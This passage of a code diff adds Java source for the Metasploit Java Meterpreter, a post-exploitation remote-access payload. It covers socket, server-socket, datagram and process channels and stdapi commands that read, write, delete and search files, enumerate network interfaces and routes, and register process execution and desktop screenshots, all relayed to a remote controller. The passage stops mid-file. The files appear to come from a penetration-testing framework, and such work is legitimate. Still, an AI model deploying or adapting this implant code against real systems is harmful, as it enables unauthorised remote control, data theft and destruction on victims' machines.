/**
* Create a new socket channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param socket
* Socket of the channel
*/
public DatagramSocketChannel(Meterpreter meterpreter, DatagramSocket datagramSocket) throws IOException {
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
this.datagramSocket = datagramSocket;
new AcceptThread().start();
}
public void write(byte[] data, int length, TLVPacket request) throws IOException {
String remoteHostName = (String) request.getValue(TLVType.TLV_TYPE_PEER_HOST, null);
InetAddress remoteHost = null;
int remotePort = 0;
if (remoteHostName != null) {
remoteHost = InetAddress.getByName(remoteHostName);
remotePort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
}
write(data, length, remoteHost, remotePort);
}
private void write(byte[] data, int length, InetAddress remoteHost, int remotePort) throws IOException {
if (remoteHost == null) {
remoteHost = datagramSocket.getInetAddress();
remotePort = datagramSocket.getPort();
}
DatagramPacket dp = new DatagramPacket(data, length, remoteHost, remotePort);
datagramSocket.send(dp);
}
public void close() throws IOException {
closed = true;
datagramSocket.close();
super.close();
}
Meterpreter getMeterpreter() {
return meterpreter;
}
private class AcceptThread extends Thread {
public void run() {
try {
byte[] datagram = new byte[65536];
while (true) {
try {
DatagramPacket dp = new DatagramPacket(datagram, datagram.length);
datagramSocket.receive(dp);
byte[] data = new byte[dp.getLength()];
System.arraycopy(datagram, 0, data, 0, dp.getLength());
TLVPacket tlv = new TLVPacket();
tlv.add(TLVType.TLV_TYPE_CHANNEL_ID, getID());
tlv.add(TLVType.TLV_TYPE_PEER_HOST, dp.getAddress().getHostAddress());
tlv.add(TLVType.TLV_TYPE_PEER_PORT, dp.getPort());
tlv.add(TLVType.TLV_TYPE_CHANNEL_DATA, data);
tlv.add(TLVType.TLV_TYPE_LENGTH, data.length);
getMeterpreter().writeRequestPacket("core_channel_write", tlv);
} catch (SocketException t) {
// dirty hack since later java versions add more of those...
if (!t.getClass().getName().endsWith("UnreachableException"))
throw t;
}
}
} catch (SocketException t) {
if (closed)
return;
t.printStackTrace(getMeterpreter().getErrorStream());
} catch (Throwable t) {
t.printStackTrace(getMeterpreter().getErrorStream());
}
}
}
}

View File

@ -0,0 +1,39 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.io.InputStream;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
/**
* A channel for a started {@link Process}.
*
* @author mihi
*/
public class ProcessChannel extends Channel {
private final Process process;
private final InputStream err;
/**
* Create a new process channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param process
* Process of the channel
*/
public ProcessChannel(Meterpreter meterpreter, Process process) {
super(meterpreter, process.getInputStream(), process.getOutputStream());
this.process = process;
this.err = process.getErrorStream();
new InteractThread(err).start();
}
public void close() throws IOException {
process.destroy();
err.close();
super.close();
}
}

View File

@ -0,0 +1,69 @@
package com.metasploit.meterpreter;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.SocketException;
/**
* A channel for a {@link ServerSocket}.
*
* @author mihi
*/
public class ServerSocketChannel extends Channel {
private final ServerSocket serverSocket;
private boolean closed = false;
/**
* Create a new socket channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param socket
* Socket of the channel
*/
public ServerSocketChannel(Meterpreter meterpreter, ServerSocket serverSocket) throws IOException {
super(meterpreter, new ByteArrayInputStream(new byte[0]), null);
this.serverSocket = serverSocket;
new AcceptThread().start();
}
public void close() throws IOException {
closed = true;
serverSocket.close();
super.close();
}
Meterpreter getMeterpreter() {
return meterpreter;
}
private class AcceptThread extends Thread {
public void run() {
try {
while(true) {
Socket s = serverSocket.accept();
SocketChannel ch = new SocketChannel(getMeterpreter(), s);
TLVPacket packet = new TLVPacket();
packet.add(TLVType.TLV_TYPE_CHANNEL_ID, ch.getID());
packet.add(TLVType.TLV_TYPE_CHANNEL_PARENTID, getID());
packet.add(TLVType.TLV_TYPE_LOCAL_HOST, s.getLocalAddress().getHostAddress());
packet.add(TLVType.TLV_TYPE_LOCAL_PORT, s.getLocalPort());
packet.add(TLVType.TLV_TYPE_PEER_HOST, s.getInetAddress().getHostAddress());
packet.add(TLVType.TLV_TYPE_PEER_PORT, s.getPort());
getMeterpreter().writeRequestPacket("tcp_channel_open", packet);
ch.startInteract();
}
} catch (SocketException t) {
if (closed)
return;
t.printStackTrace(getMeterpreter().getErrorStream());
} catch (Throwable t) {
t.printStackTrace(getMeterpreter().getErrorStream());
}
}
}
}

View File

@ -0,0 +1,39 @@
package com.metasploit.meterpreter;
import java.io.IOException;
import java.net.Socket;
/**
* A channel for a {@link Socket}.
*
* @author mihi
*/
public class SocketChannel extends Channel {
private final Socket socket;
/**
* Create a new socket channel.
*
* @param meterpreter
* The meterpreter this channel should be assigned to.
* @param socket
* Socket of the channel
*/
public SocketChannel(Meterpreter meterpreter, Socket socket) throws IOException {
super(meterpreter, socket.getInputStream(), socket.getOutputStream());
this.socket = socket;
}
public void close() throws IOException {
socket.close();
super.close();
}
/**
* Get the socket.
*/
public Socket getSocket() {
return socket;
}
}

View File

@ -0,0 +1,40 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import com.metasploit.meterpreter.CommandManager;
import com.metasploit.meterpreter.ExtensionLoader;
/**
* Loader class to register all the stdapi commands.
*
* @author mihi
*/
public class Loader implements ExtensionLoader {
public static File cwd;
public void load(CommandManager mgr) throws Exception {
cwd = new File(".").getCanonicalFile();
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_server", channel_create_stdapi_net_tcp_server.class);
mgr.registerCommand("channel_create_stdapi_net_udp_client", channel_create_stdapi_net_udp_client.class);
mgr.registerCommand("stdapi_fs_chdir", stdapi_fs_chdir.class);
mgr.registerCommand("stdapi_fs_delete_dir", stdapi_fs_delete_dir.class);
mgr.registerCommand("stdapi_fs_delete_file", stdapi_fs_delete_file.class);
mgr.registerCommand("stdapi_fs_file_expand_path", stdapi_fs_file_expand_path.class, V1_2, V1_5); // %COMSPEC% only
mgr.registerCommand("stdapi_fs_getwd", stdapi_fs_getwd.class);
mgr.registerCommand("stdapi_fs_ls", stdapi_fs_ls.class);
mgr.registerCommand("stdapi_fs_mkdir", stdapi_fs_mkdir.class);
mgr.registerCommand("stdapi_fs_search", stdapi_fs_search.class);
mgr.registerCommand("stdapi_fs_stat", stdapi_fs_stat.class, V1_2, V1_6);
mgr.registerCommand("stdapi_net_config_get_interfaces", stdapi_net_config_get_interfaces.class, V1_4, V1_6);
mgr.registerCommand("stdapi_net_config_get_routes", stdapi_net_config_get_routes.class, V1_4);
mgr.registerCommand("stdapi_net_socket_tcp_shutdown", stdapi_net_socket_tcp_shutdown.class, V1_2, V1_3);
mgr.registerCommand("stdapi_sys_config_getuid", stdapi_sys_config_getuid.class);
mgr.registerCommand("stdapi_sys_config_sysinfo", stdapi_sys_config_sysinfo.class);
mgr.registerCommand("stdapi_sys_process_execute", stdapi_sys_process_execute.class, V1_2, V1_3);
mgr.registerCommand("stdapi_ui_desktop_screenshot", stdapi_ui_desktop_screenshot.class, V1_4);
}
}

View File

@ -0,0 +1,41 @@
package com.metasploit.meterpreter.stdapi;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
public class channel_create_stdapi_fs_file implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String fpath = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
String mode = request.getStringValue(TLVType.TLV_TYPE_FILE_MODE, "rb");
Channel channel;
if (mode.equals("r") || mode.equals("rb") || mode.equals("rbb")) {
channel = null;
if (fpath.equals("...")) {
byte[] data = meterpreter.getErrorBuffer();
if (data != null)
channel = new Channel(meterpreter, new ByteArrayInputStream(data), null);
}
if (channel == null)
channel = new Channel(meterpreter, new FileInputStream(new File(Loader.cwd, fpath)), null);
} else if (mode.equals("r") || mode.equals("wb") || mode.equals("wbb")) {
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(new File(Loader.cwd, fpath).getPath(), false));
} else if (mode.equals("a") || mode.equals("ab") || mode.equals("abb")) {
channel = new Channel(meterpreter, new ByteArrayInputStream(new byte[0]), new FileOutputStream(new File(Loader.cwd, fpath).getPath(), true));
} else {
NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
throw new IllegalArgumentException("Unsupported file mode: " + mode);
}
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,43 @@
package com.metasploit.meterpreter.stdapi;
import java.net.ConnectException;
import java.net.InetAddress;
import java.net.Socket;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.SocketChannel;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class channel_create_stdapi_net_tcp_client implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
int retries = ((Integer) request.getValue(TLVType.TLV_TYPE_CONNECT_RETRIES, new Integer(1))).intValue();
if (retries < 1)
retries = 1;
InetAddress peerAddr = InetAddress.getByName(peerHost);
InetAddress localAddr = InetAddress.getByName(localHost);
Socket socket = null;
for (int i = 0; i < retries; i++) {
try {
socket = new Socket(peerAddr, peerPort, localAddr, localPort);
break;
} catch (ConnectException ex) {
if (i == retries - 1)
throw ex;
}
}
// If we got here, the connection worked, respond with the new channel ID
Channel channel = new SocketChannel(meterpreter, socket);
channel.startInteract();
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,27 @@
package com.metasploit.meterpreter.stdapi;
import java.net.InetAddress;
import java.net.ServerSocket;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.ServerSocketChannel;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class channel_create_stdapi_net_tcp_server implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
ServerSocket ss;
if (localHost.equals("0.0.0.0"))
ss = new ServerSocket(localPort);
else
ss = new ServerSocket(localPort, 50, InetAddress.getByName(localHost));
Channel channel = new ServerSocketChannel(meterpreter, ss);
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,31 @@
package com.metasploit.meterpreter.stdapi;
import java.net.DatagramSocket;
import java.net.InetAddress;
import com.metasploit.meterpreter.Channel;
import com.metasploit.meterpreter.DatagramSocketChannel;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class channel_create_stdapi_net_udp_client implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String localHost = request.getStringValue(TLVType.TLV_TYPE_LOCAL_HOST);
int localPort = request.getIntValue(TLVType.TLV_TYPE_LOCAL_PORT);
String peerHost = request.getStringValue(TLVType.TLV_TYPE_PEER_HOST);
int peerPort = request.getIntValue(TLVType.TLV_TYPE_PEER_PORT);
DatagramSocket ds = new DatagramSocket(localPort, InetAddress.getByName(localHost));
if (peerPort != 0) {
ds.connect(InetAddress.getByName(peerHost), peerPort);
}
Channel channel = new DatagramSocketChannel(meterpreter,ds);
response.add(TLVType.TLV_TYPE_CHANNEL_ID, channel.getID());
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,25 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import java.io.IOException;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_chdir implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
File f = new File(Loader.cwd, path);
if (!f.exists() || !f.isDirectory()) {
f = new File(path);
if (!f.exists() || !f.isDirectory()) {
throw new IOException("Path not found: " + path);
}
}
Loader.cwd = f.getCanonicalFile();
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,26 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import java.io.IOException;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_delete_dir implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
File file = new File(Loader.cwd, path);
if (!file.exists())
file = new File(path);
if (!file.exists() || !file.isDirectory()) {
throw new IOException("Directory not found: " + path);
}
if (!file.delete()) {
throw new IOException("Cannot delete directory " + file.getCanonicalPath());
}
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,26 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import java.io.IOException;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_delete_file implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
File file = new File(Loader.cwd, path);
if (!file.exists())
file = new File(path);
if (!file.exists() || !file.isFile()) {
throw new IOException("File not found: " + path);
}
if (!file.delete()) {
throw new IOException("Cannot delete " + file.getCanonicalPath());
}
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,29 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.command.NotYetImplementedCommand;
public class stdapi_fs_file_expand_path implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
if (path.equals("%COMSPEC%")) {
response.add(TLVType.TLV_TYPE_FILE_PATH, getShellPath());
return ERROR_SUCCESS;
} else {
return NotYetImplementedCommand.INSTANCE.execute(meterpreter, request, response);
}
}
protected String getShellPath() {
if (File.pathSeparatorChar == ';')
return "cmd.exe";
else
return "/bin/sh";
}
}

View File

@ -0,0 +1,17 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
public class stdapi_fs_file_expand_path_V1_5 extends stdapi_fs_file_expand_path {
protected String getShellPath() {
String result;
if (File.pathSeparatorChar == ';')
result = System.getenv("COMSPEC");
else
result = System.getenv("SHELL");
if (result == null || result.length() == 0)
result = super.getShellPath();
return result;
}
}

View File

@ -0,0 +1,14 @@
package com.metasploit.meterpreter.stdapi;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_getwd implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
response.add(TLVType.TLV_TYPE_DIRECTORY_PATH, Loader.cwd.getAbsolutePath());
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,25 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_ls implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
stdapi_fs_stat statCommand = (stdapi_fs_stat) meterpreter.getCommandManager().getCommand("stdapi_fs_stat");
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
String[] entries = new File(path).list();
for (int i = 0; i < entries.length; i++) {
if (entries[i].equals(".") || entries[i].equals(".."))
continue;
File f = new File(path, entries[i]);
response.addOverflow(TLVType.TLV_TYPE_FILE_NAME, entries[i]);
response.addOverflow(TLVType.TLV_TYPE_FILE_PATH, f.getCanonicalPath());
response.addOverflow(TLVType.TLV_TYPE_STAT_BUF, statCommand.stat(f));
}
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,26 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import java.io.IOException;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_mkdir implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_DIRECTORY_PATH);
File file = new File(Loader.cwd, path);
if (!file.getParentFile().exists())
file = new File(path);
if (!file.getParentFile().exists() || !file.getParentFile().isDirectory()) {
throw new IOException("Parent directory not found: " + path);
}
if (!file.mkdirs()) {
throw new IOException("Cannot create directory " + file.getCanonicalPath());
}
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,103 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_search implements Command {
private static final int TLV_TYPE_FILE_SIZE = TLVPacket.TLV_META_TYPE_UINT | 1204;
private static final int TLV_TYPE_SEARCH_RECURSE = TLVPacket.TLV_META_TYPE_BOOL | 1230;
private static final int TLV_TYPE_SEARCH_GLOB = TLVPacket.TLV_META_TYPE_STRING | 1231;
private static final int TLV_TYPE_SEARCH_ROOT = TLVPacket.TLV_META_TYPE_STRING | 1232;
private static final int TLV_TYPE_SEARCH_RESULTS = TLVPacket.TLV_META_TYPE_GROUP | 1233;
/**
* Simple glob implementation.
*/
private static boolean matches(String text, String glob) {
String rest = null;
int pos = glob.indexOf('*');
if (pos != -1) {
rest = glob.substring(pos + 1);
glob = glob.substring(0, pos);
}
if (glob.length() > text.length())
return false;
// handle the part up to the first *
for (int i = 0; i < glob.length(); i++)
if (glob.charAt(i) != '?'
&& !glob.substring(i, i + 1).equalsIgnoreCase(text.substring(i, i + 1)))
return false;
// recurse for the part after the first *, if any
if (rest == null) {
return glob.length() == text.length();
} else {
for (int i = glob.length(); i <= text.length(); i++) {
if (matches(text.substring(i), rest))
return true;
}
return false;
}
}
private List findFiles(String path, String mask, boolean recurse) {
try {
File pathfile = new File(Loader.cwd, path);
if (!pathfile.exists() || !pathfile.isDirectory()) {
pathfile = new File(path);
if (!pathfile.exists() || !pathfile.isDirectory()) {
throw new IOException("Path not found: " + path);
}
}
path = pathfile.getCanonicalPath();
File[] lst = new File(path).listFiles();
List glob = new ArrayList();
if (lst == null)
return glob;
for (int i = 0; i < lst.length; i++) {
File file = lst[i];
if (recurse && file.isDirectory()
// don't follow links to avoid infinite recursion
&& file.getCanonicalPath().equals(file.getAbsolutePath())) {
glob.addAll(findFiles(file.getAbsolutePath(), mask, true));
}
// Match file mask
if (matches(file.getName(), mask)) {
glob.add(path + "/" + file.getName());
}
}
Collections.sort(glob);
return glob;
} catch (IOException ex) {
return Collections.EMPTY_LIST;
}
}
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String root = request.getStringValue(TLV_TYPE_SEARCH_ROOT, ".");
String glob = request.getStringValue(TLV_TYPE_SEARCH_GLOB);
boolean recurse = request.getBooleanValue(TLV_TYPE_SEARCH_RECURSE);
List files = findFiles(root, glob, recurse);
for (int i = 0; i < files.size(); i++) {
File f = new File((String) files.get(i));
TLVPacket file_tlvs = new TLVPacket();
file_tlvs.add(TLVType.TLV_TYPE_FILE_PATH, f.getParentFile().getPath());
file_tlvs.add(TLVType.TLV_TYPE_FILE_NAME, f.getName());
file_tlvs.add(TLV_TYPE_FILE_SIZE, (int) f.length());
response.addOverflow(TLV_TYPE_SEARCH_RESULTS, file_tlvs);
}
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,68 @@
package com.metasploit.meterpreter.stdapi;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.IOException;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_fs_stat implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
String path = request.getStringValue(TLVType.TLV_TYPE_FILE_PATH);
File file = new File(path);
if (!file.exists())
file = new File(Loader.cwd, path);
if (!file.exists())
throw new IOException("File/directory does not exist: " + path);
response.add(TLVType.TLV_TYPE_STAT_BUF, stat(file));
return ERROR_SUCCESS;
}
public byte[] stat(File file) throws IOException {
ByteArrayOutputStream statbuf = new ByteArrayOutputStream();
DataOutputStream dos = new DataOutputStream(statbuf);
dos.writeInt(le(0)); // dev
dos.writeShort(short_le(0)); // ino
int mode = (file.canRead() ? 0444 : 0) | (file.canWrite() ? 0222 : 0) | (canExecute(file) ? 0110 : 0) | (file.isHidden() ? 1 : 0) | (file.isDirectory() ? 040000 : 0) | (file.isFile() ? 0100000 : 0);
dos.writeShort(short_le(mode)); // mode
dos.writeShort(short_le(1)); // nlink
dos.writeShort(short_le(65535)); // uid
dos.writeShort(short_le(65535)); // gid
dos.writeShort(short_le(0)); // padding
dos.writeInt(le(0)); // rdev
dos.writeInt(le((int) file.length())); // size
int mtime = (int) (file.lastModified() / 1000);
dos.writeInt(le(mtime)); // atime
dos.writeInt(le(mtime)); // mtime
dos.writeInt(le(mtime)); // ctime
dos.writeInt(le(1024)); // blksize
dos.writeInt(le((int) ((file.length() + 1023) / 1024))); // blocks
return statbuf.toByteArray();
}
/**
* Check whether a file can be executed.
*/
protected boolean canExecute(File file) {
return false;
}
/**
* Convert an integer to little endian.
*/
private static int le(int value) {
return ((value & 0xff) << 24) | ((value & 0xff00) << 8) | ((value & 0xff0000) >> 8) | (int) ((value & 0xff000000L) >> 24);
}
/**
* Convert a short to little endian.
*/
private static int short_le(int value) {
return ((value & 0xff) << 8) | ((value & 0xff00) >> 8);
}
}

View File

@ -0,0 +1,10 @@
package com.metasploit.meterpreter.stdapi;
import java.io.File;
public class stdapi_fs_stat_V1_6 extends stdapi_fs_stat {
protected boolean canExecute(File file) {
return file.canExecute();
}
}

View File

@ -0,0 +1,5 @@
package com.metasploit.meterpreter.stdapi;
// Dummy class
public class stdapi_net_config_get_interfaces {
}

View File

@ -0,0 +1,81 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.util.Enumeration;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_net_config_get_interfaces_V1_4 extends stdapi_net_config_get_interfaces implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
TLVPacket ifaceTLV = new TLVPacket();
byte[][] info = getInformation(iface);
if (info[0] != null) {
ifaceTLV.add(TLVType.TLV_TYPE_IP, info[0]);
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, info[1]);
} else {
ifaceTLV.add(TLVType.TLV_TYPE_IP, new byte[4]);
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, new byte[4]);
}
ifaceTLV.add(TLVType.TLV_TYPE_MAC_ADDRESS, info[2]);
ifaceTLV.add(TLVType.TLV_TYPE_MAC_NAME, iface.getName() + " - " + iface.getDisplayName());
response.addOverflow(TLVType.TLV_TYPE_NETWORK_INTERFACE, ifaceTLV);
}
return ERROR_SUCCESS;
}
/**
* Return information of this interface that cannot be determined the same way for all Java versions. Currently this includes ip, network mask and MAC address.
*
* @param iface
* @return ip, network mask and MAC address
*/
public byte[][] getInformation(NetworkInterface iface) throws IOException {
byte[] ip = null;
for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements();) {
InetAddress addr = (InetAddress) en.nextElement();
if (addr.getAddress().length == 4) {
ip = addr.getAddress();
break;
}
}
if (ip == null) {
for (Enumeration en = iface.getInetAddresses(); en.hasMoreElements();) {
InetAddress addr = (InetAddress) en.nextElement();
ip = addr.getAddress();
break;
}
}
byte[] netmask = null;
if (ip != null) {
int prefixLength = 0;
if (ip.length == 4) {
// guess netmask by network class...
if ((ip[0] & 0xff) < 0x80) {
prefixLength = 8;
} else if ((ip[0] & 0xff) < 0xc0) {
prefixLength = 16;
} else {
prefixLength = 24;
}
}
netmask = createNetworkMask(ip.length, prefixLength);
}
return new byte[][] { ip, netmask, new byte[6] };
}
protected static byte[] createNetworkMask(int length, int prefixLength) {
byte[] netmask = new byte[length];
for (int i = 0; i < prefixLength; i++) {
netmask[i / 8] |= (1 << (7 - (i % 8)));
}
return netmask;
}
}

View File

@ -0,0 +1,40 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.net.InterfaceAddress;
import java.net.NetworkInterface;
import java.util.Iterator;
import java.util.List;
public class stdapi_net_config_get_interfaces_V1_6 extends stdapi_net_config_get_interfaces_V1_4 {
public byte[][] getInformation(NetworkInterface iface) throws IOException {
byte[] ip = null;
List addresses = iface.getInterfaceAddresses();
int prefixLength = 0;
for (Iterator it = addresses.iterator(); it.hasNext();) {
InterfaceAddress addr = (InterfaceAddress) it.next();
if (addr.getAddress().getAddress().length == 4) {
ip = addr.getAddress().getAddress();
prefixLength = addr.getNetworkPrefixLength();
break;
}
}
if (ip == null) {
for (Iterator it = addresses.iterator(); it.hasNext();) {
InterfaceAddress addr = (InterfaceAddress) it.next();
ip = addr.getAddress().getAddress();
prefixLength = addr.getNetworkPrefixLength();
break;
}
}
byte[] netmask = null;
if (ip != null) {
netmask = createNetworkMask(ip.length, prefixLength);
}
byte[] mac = iface.getHardwareAddress();
if (mac == null)
mac = new byte[6];
return new byte[][] { ip, netmask, mac };
}
}

View File

@ -0,0 +1,5 @@
package com.metasploit.meterpreter.stdapi;
// Dummy class
public class stdapi_net_config_get_routes {
}

View File

@ -0,0 +1,28 @@
package com.metasploit.meterpreter.stdapi;
import java.net.NetworkInterface;
import java.util.Enumeration;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_net_config_get_routes_V1_4 extends stdapi_net_config_get_routes implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
stdapi_net_config_get_interfaces_V1_4 getIfaceCommand = (stdapi_net_config_get_interfaces_V1_4) meterpreter.getCommandManager().getCommand("stdapi_net_config_get_interfaces");
for (Enumeration ifaces = NetworkInterface.getNetworkInterfaces(); ifaces.hasMoreElements();) {
NetworkInterface iface = (NetworkInterface) ifaces.nextElement();
TLVPacket ifaceTLV = new TLVPacket();
byte[][] info = getIfaceCommand.getInformation(iface);
if (info[0] != null) {
ifaceTLV.add(TLVType.TLV_TYPE_SUBNET, info[0]);
ifaceTLV.add(TLVType.TLV_TYPE_NETMASK, info[1]);
ifaceTLV.add(TLVType.TLV_TYPE_GATEWAY, new byte[info[0].length]);
response.addOverflow(TLVType.TLV_TYPE_NETWORK_ROUTE, ifaceTLV);
}
}
return ERROR_SUCCESS;
}
}

View File

@ -0,0 +1,28 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.net.Socket;
import com.metasploit.meterpreter.Meterpreter;
import com.metasploit.meterpreter.SocketChannel;
import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command;
public class stdapi_net_socket_tcp_shutdown implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
SocketChannel c = (SocketChannel) meterpreter.getChannel(request.getIntValue(TLVType.TLV_TYPE_CHANNEL_ID), true);
Socket socket = c.getSocket();
int how = request.getIntValue(TLVType.TLV_TYPE_SHUTDOWN_HOW);
shutdown(socket, how);
return ERROR_SUCCESS;
}
protected void shutdown(Socket socket, int how) throws IOException {
socket.close();
}
}

View File

@ -0,0 +1,28 @@
package com.metasploit.meterpreter.stdapi;
import java.io.IOException;
import java.net.Socket;
public class stdapi_net_socket_tcp_shutdown_V1_3 extends stdapi_net_socket_tcp_shutdown {
